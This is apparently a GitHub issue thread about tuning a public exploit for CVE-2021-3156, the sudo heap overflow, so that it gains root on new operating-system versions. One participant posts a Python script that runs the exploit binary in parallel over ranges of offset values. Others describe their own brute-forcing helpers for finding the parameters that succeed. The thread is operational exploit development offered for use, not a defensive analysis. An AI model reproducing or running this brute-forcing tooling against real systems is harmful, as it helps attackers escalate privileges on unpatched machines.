Suggestion on your new CVE-2021-3156 OS format about cve-2021-3156

[blasty]

The main branch now has some small wrapper script to try multi-threaded bruting (instructions in README)

[TheZ3ro]

Hi,
I've just pushed #9 that allow manual definition of offsets from args,
this way you can do a "dumb" bruteforce by doing somethink like the python code below.

don't expect great result cause finding correct offset usually takes some trial and error

from multiprocessing import Pool
import itertools
import subprocess

def fuzz(a):
    w,x,y,z = a
    try:
        print("calling with {} {} {} {}".format(w,x,y,z))
        out = subprocess.check_output("./sudo-hax-me-a-sandwich {} {} {} {} 2>&1".format(w,x,y,z), shell=True)
    except subprocess.CalledProcessError as e:
        out = str(e)
        pass
    return out

if __name__ == '__main__':
    with Pool(5) as p:
        print(p.map(fuzz, itertools.product(range(40,70), range(40,70), range(50,70), range(200,220))))

[wereii]

Yesterday I made one bruteforcing thingy myself, though I also used custom lib that would exit() with distinct return code so I can exactly pin point which params/smash lengths get the pwn.

As I see you guys have already picked up on bruteforcing, my script isn't doing multiprocessing (it should) but hey it works.
Just saying it's there.

@TheZ3ro I see you have already noticed, I am planning to do parallelization (probably with asyncio as you can simply spawn bunch of the processes with timeouts and pick up on their statuses after, should work afaik).